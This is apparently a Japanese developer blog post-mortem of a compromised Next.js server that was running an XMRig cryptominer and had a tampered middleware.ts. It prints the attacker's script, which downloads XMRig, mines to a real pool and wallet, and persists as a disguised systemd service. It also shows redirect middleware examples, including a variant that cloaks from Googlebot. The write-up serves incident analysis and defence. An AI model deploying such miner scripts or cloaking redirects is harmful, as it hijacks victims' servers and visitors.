18
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Next.jsの脆弱性を突かれサーバーがXMRigでマイニングされ、middleware.tsでトラフィックも乗っ取られた話

Last updated at Posted at 2025-12-18

概要

2024年12月、運営していた React / Next.js サービス が侵害され、
サーバーが XMRig による仮想通貨マイニング を実行する状態になっていた。

さらに調査を進めると、単なるマイニング被害ではなく
Next.js の middleware.ts が改ざんされ、トラフィックが外部に転送されていた ことが判明した。

本記事では、

  • 実際に仕込まれていた マイナースクリプト
  • middleware.ts が果たしていた役割
  • 攻撃の流れと教訓

を技術的に整理する。


タイムライン

  • 12/7
    サイトが突然応答不能(timeout)
    → サーバーは稼働しているがCPU高負荷

  • 12/10
    ソースコードを確認
    middleware.ts に不審なリダイレクト処理を発見


攻撃の全体像

今回の攻撃は以下の 複合型 CryptoJacking だった。

侵入(Next.js脆弱性) ↓
XMRig 実行(CPUマイニング) ↓
systemd / nohup で永続化 ↓
middleware.ts 改ざん ↓
トラフィック転送・二次収益化


実際に仕込まれていたマイナースクリプト(sex.sh)

#!/bin/bash

TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig"

ARGS="--url pool.hashvault.pro:443 \
--user 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ \
--pass next --donate-level 0 --tls \
--tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14"

SERVICE_NAME="system-update-service"

if [ ! -f "$BINARY_PATH" ]; then
  curl -L -o "$TAR_FILE" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
  tar xvzf "$TAR_FILE"
fi

chmod +x "$BINARY_PATH"

このスクリプトの危険なポイント

  1. 正規GitHubからXMRigを取得

ウイルス検知を回避しやすい

バイナリ改変不要

  1. systemd サービス化(永続化)

[Service]
ExecStart=/path/xmrig ...
Restart=always
User=root

再起動しても復活

サービス名は system-update-service

管理者に気づかれにくい

  1. TLS + Fingerprint 指定

通信内容を暗号化

IDS / WAF を回避


middleware.ts も攻撃の一部だった

今回の事案では Next.js の middleware.ts が改ざん されていた。

middleware.ts は 全リクエストより先に実行される ため、
攻撃者にとって非常に都合の良いポイントである。


想定される改ざん例①:全リクエストリダイレクト

import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";

export function middleware(req: NextRequest) {
  return NextResponse.redirect(
    "https://malicious-redirect.example.com"
  );
}

サイト訪問者を無条件で外部へ転送

トラフィック転売やフィッシングに利用可能


改ざん例②:条件付きリダイレクト(より悪質)

export function middleware(req: NextRequest) {
  const ua = req.headers.get("user-agent") || "";

  if (!ua.includes("Googlebot")) {
    return NextResponse.redirect(
      "https://traffic-monetize.example.com"
    );
  }

  return NextResponse.next();
}

Googlebot には正常表示

管理者や検索結果から発見されにくい

ブラックSEOでよく使われる手法


なぜマイナーと middleware がセットなのか

要素 目的

XMRig サーバーCPUで安定収益
middleware.ts トラフィックの二次収益
systemd 永続化
TLS 検知回避

👉 1台の侵害で複数の収益源を確保する設計


なぜサイトが timeout したのか

XMRig が CPU をほぼ100%使用

Node.js / Next.js が応答不能

Webサーバーは生きているが処理不可

これが 12/7 の障害の正体 だった。


教訓・対策

やってはいけないこと

Next.js を dev モードで公開

npm 依存関係の放置

本番サーバーでの直接編集

対策

next build
next start
npm audit fix

SourceMap 無効化

CI/CD 経由以外の変更禁止

サーバーは再構築前提で対応


結論

今回の事案は

「Next.js の脆弱性を突かれ、 サーバーが XMRig によるマイニングと middleware.ts によるトラフィック乗っ取りを同時に受けた」

典型的かつ再現性の高い攻撃だった。

React / Next.js = 安全ではない。
常に侵入される前提で設計すべきである。

18
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
18
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?